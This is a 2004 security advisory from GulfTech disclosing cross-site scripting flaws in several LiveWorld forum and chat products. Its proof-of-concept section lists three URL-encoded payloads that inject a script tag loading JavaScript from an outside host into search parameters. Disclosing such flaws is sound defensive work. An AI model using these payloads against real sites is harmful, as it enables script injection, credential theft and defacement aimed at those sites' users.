##########################################################
# GulfTech Security Research	         August, 23rd 2004
##########################################################
# Vendor  : LiveWorld, Inc.
# URL     : http://www.liveworld.com
# Version : Multiple Products
# Risk    : Cross Site Scripting
##########################################################

Description:
LiveWorld provides collaborative services for online meetings, 
customer care, and loyalty marketing. Supporting communication 
between a company and its customers, employees, or partners 
and among those people themselves - our services help corpor-
ations cut costs, increase revenue, and solidify relationships 
with groups critical to their success. LiveWorld products are 
used on major websites such as HBO, eBay, and others.



Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting
issues that are believed to be present in multiple LiveWorld Inc
products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. 
It is also a good possibility that this issue exists in other 
LiveWorld products as they "seem" to share some of the same code. 
If you believe this to be incorrect, or have proof of it being
100% accurate then please let us know. These issues could allow 
for an attacker to run code in the context of a victims browser 
or temporarily deface a website that is running any of the 
affected applications.



Proof Of Concept:
I have done my best to contact LiveWorld, and eBay. As of the
time I am writing this, the holes are not patched, and these
examples work. However this may not be the case when this write
up becomes public. Please note that these URI's are wrapped for
the sake of readability.

http://answercenter.xxxx.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21--

http://groups.xxxx.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21--

http://boards.xxx.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21--

These examples simply print the GulfTech name to the browser, but
this could just as easily be a spoofed form, or a malicious script.

Edit: I have edited out the real web addresses.



Solution:
LiveWorld Inc was contacted about these issues, but has not yet
responded. Perhaps they will see this advisory and fix the holes :)
Any future fix will likely be posted on their website.



Related Info:
The original advisory can be found at the following location 
http://www.gulftech.org/?node=research&article_id=00044-08232004



Credits:
James Bercegay of the GulfTech Security Research Team